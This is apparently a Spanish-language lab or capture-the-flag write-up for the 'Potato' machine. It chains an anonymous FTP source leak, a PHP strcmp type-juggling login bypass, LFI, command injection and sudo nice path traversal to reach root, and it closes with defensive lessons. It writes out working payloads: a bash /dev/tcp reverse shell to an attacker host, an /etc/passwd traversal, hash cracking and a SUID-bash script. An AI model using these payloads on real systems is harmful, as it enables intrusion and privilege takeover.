Potato
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Un FTP anónimo filtraindex.php.bak, el código del panel de admin: valida constrcmp()y una contraseña fija. Enviandopassword[](un array)strcmpdevuelveNULL, que en comparación floja== 0es cierto: bypass de login por type juggling. Eldashboard.phplee logs concat logs/<file>, así quefile=es a la vez LFI por path traversal (/etc/passwd) e inyección de comandos (file=;bash -c ...) → shell comowww-data. En/etc/passwd,webadminguarda su hashmd5crypten línea; se crackea adragon. Ywebadmintienesudo /bin/nice /notes/*: con un../se escapa de/notesy nice ejecuta un script propio como root.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Tres puertos, con un FTP en un puerto no estándar:
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.144.101PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2112/tcp open ftpnmap -p22,80,2112 -sCV 192.168.144.101 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Potato company
2112/tcp open ftp ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 901 Aug 2 2020 index.php.bak
|_-rw-r--r-- 1 ftp ftp 54 Aug 2 2020 welcome.msgFTP - TCP 2112
El FTP anónimo deja descargar index.php.bak, un backup del código del panel de administración. Es una fuga de código fuente, y con el código en mano la lógica de autenticación queda al descubierto:
ftp -p 192.168.144.101 2112 # anonymous / (cualquier email)
# get index.php.bak
$pass = "potato";
if($_GET['login']=="1"){
if (strcmp($_POST['username'], "admin") == 0 && strcmp($_POST['password'], $pass) == 0) {
echo "Welcome! Go to the dashboard";
setcookie('pass', $pass, time() + 365*24*3600);
} else { echo "Bad login/password!"; }
}Panel admin - TCP 80
dirsearch confirma el panel bajo /admin/:
dirsearch -u http://192.168.144.101 --exclude-status=403,404
# 200 - /admin/ · /admin/index.php · /admin/logs/Shell como www-data
Bypass de login por type juggling
El login compara con strcmp($_POST['password'], $pass) == 0. En PHP, strcmp() recibiendo un array en vez de una cadena no lanza excepción: devuelve NULL (con un warning). Y NULL == 0 es cierto en la comparación floja de PHP. Basta con enviar el parámetro como array (password[]=1) para que ambos strcmp "coincidan" sin conocer la contraseña:
POST /admin/index.php?login=1
username=admin&password[]=1

La respuesta es el "Welcome! Go to the dashboard" y la cookie pass, que da acceso al dashboard.php.
LFI por path traversal
El dashboard tiene una sección "Logs" que muestra ficheros vía un POST con file=log_01.txt:

Cambiando ese valor por una ruta con ../ se sale del directorio de logs y se lee cualquier fichero:
file=../../../../../../../../etc/passwdflorianes:x:1000:1000:florianes:/home/florianes:/bin/bash
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin:/home/webadmin:/bin/bash
Dos pistas: existen florianes y webadmin, y este último tiene su hash md5crypt directamente en /etc/passwd (segundo campo, en lugar de x). Antes de crackearlo, conviene entender cómo procesa el backend el parámetro. Leyendo /proc/self/cmdline por el mismo LFI aparece la clave:
file=../../../../../../proc/self/cmdline
# → catlogs/../../../../proc/self/cmdline
El backend ejecuta cat logs/<file>: el file se concatena a un comando de shell (se ve el catlogs pegado sin espacio). Eso no es solo LFI, es inyección de comandos.
Command injection → RCE
Antes de disparar la shell, dejamos un nc a la escucha:
nc -nlvp 4444Como file= cae dentro de cat logs/<file>, un ; cierra el cat y encadena un comando propio. Se mete una reverse shell (URL-encoded):
file=;bash -c "bash -i >& /dev/tcp/<atacante>/4444 0>&1"
www-data@serv:/var/www/html/admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Shell como webadmin
Hash md5crypt en /etc/passwd + crack
Con la shell, un cat /etc/passwd confirma el hash de webadmin que ya se había visto por LFI:

Se pasa a john, que lo identifica como md5crypt y lo rompe con rockyou:
echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash
# ?:dragon
su webadmin # contraseña: dragon
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
...
$ john --show hash
?:dragon
1 password hash cracked, 0 leftEl prefijo $1$ es lo que john usa para identificar el algoritmo (MD5-crypt), sin que haya que decírselo. La contraseña es dragon, y aparece con --show porque john ya la había roto y guardado en su .pot en una ejecución anterior.
Escalada de Privilegios
sudo /bin/nice con path traversal
webadmin tiene una regla de sudo muy específica:
sudo -l
# (ALL : ALL) /bin/nice /notes/*/bin/nice está en GTFOBins: puede lanzar cualquier ejecutable como el usuario efectivo. La restricción es que el argumento tiene que empezar por /notes/, pero el comodín * no impide un ../: se sale de /notes y se apunta a un script en /tmp. Ese script pone SUID a /bin/bash:
echo 'chmod u+s /bin/bash' > /tmp/privesc.sh
chmod +x /tmp/privesc.sh
sudo /bin/nice /notes/../../../tmp/privesc.sh
ls -l /bin/bash # -rwsr-xr-x root root → SUID
bash -pbash-5.0# id
uid=1001(webadmin) gid=1001(webadmin) euid=0(root) groups=1001(webadmin)proof.txt
bash-5.0# cat /root/proof.txt
7b811f0381239948c9ad8ae379ded99e
Cadena de ataque
FTP anónimo (2112) → index.php.bak (código del panel)
└─ login con strcmp(): password[] (array) → NULL == 0 → type juggling bypass
└─ dashboard.php: file= en "cat logs/<file>"
├─ LFI path traversal → /etc/passwd (webadmin con hash md5crypt)
└─ command injection: file=;bash -c ... → www-data
└─ john crackea $1$webadmin$... → dragon → su webadmin
└─ sudo /bin/nice /notes/* → /notes/../../../tmp/privesc.sh
└─ chmod u+s /bin/bash → bash -p → rootLecciones aprendidas
- Un
.baken un FTP anónimo es una fuga de código fuente: con la lógica del login a la vista, se ve exactamente qué comparación abusar. Nunca dejar backups del código accesibles. - El type juggling de PHP nace de la comparación floja
==:strcmp()con un array devuelveNULL, yNULL == 0es cierto. Enviarpassword[]en vez depasswordsalta el login sin conocer la contraseña; la defensa es comparación estricta (===) y validar tipos. - El mismo parámetro
file=era LFI y command injection porque el backend hacíacat logs/<file>: leer/proc/self/cmdlinereveló la concatenación y convirtió una lectura de ficheros en RCE. - Guardar un hash en el segundo campo de
/etc/passwd(en lugar dex) es válido para el sistema pero deja el hash legible por cualquiera que pueda leer el fichero;md5cryptcae rápido con diccionario. - Un
sudo <binario> /ruta/*con comodín no confina de verdad:../escapa del prefijo. Combinado con un binario GTFOBins comonice, que ejecuta lo que se le pase, el resultado es ejecución arbitraria como root.